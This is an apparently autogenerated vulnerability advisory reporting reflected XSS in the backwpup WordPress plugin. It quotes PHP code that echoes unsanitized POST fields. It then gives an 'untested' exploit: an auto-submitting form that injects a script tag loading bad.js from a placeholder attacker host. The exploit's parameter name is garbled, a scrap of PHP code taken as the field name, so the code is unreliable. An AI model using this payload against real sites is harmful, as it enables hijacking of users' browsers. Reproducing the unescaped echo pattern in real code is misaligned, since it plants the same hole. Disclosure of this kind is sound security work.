Advisory #: 1158
Title: Reflected XSS in wordpress plugin backwpup v3.2.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/backwpup
Downloads: 2470180
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: backwpup
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./backwpup/inc/class-destination-sugarsync.php: 32: value="<?php if ( isset( $_POST[ 'sugaremail' ] ) ) echo $_POST[ 'sugaremail' ];?>" class="large-text" autocomplete="off" /></label> 36: value="<?php if ( isset( $_POST[ 'sugarpass' ] ) ) echo $_POST[ 'sugarpass' ];?>" class="large-text" autocomplete="off" /></label> The variable sugaremail' ] ) ) echo $_ appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./backwpup/inc/class-destination-sugarsync.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/backwpup/inc/class-destination-sugarsync.php method=post> <input type=hidden name=sugaremail' ] ) ) echo $_ value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>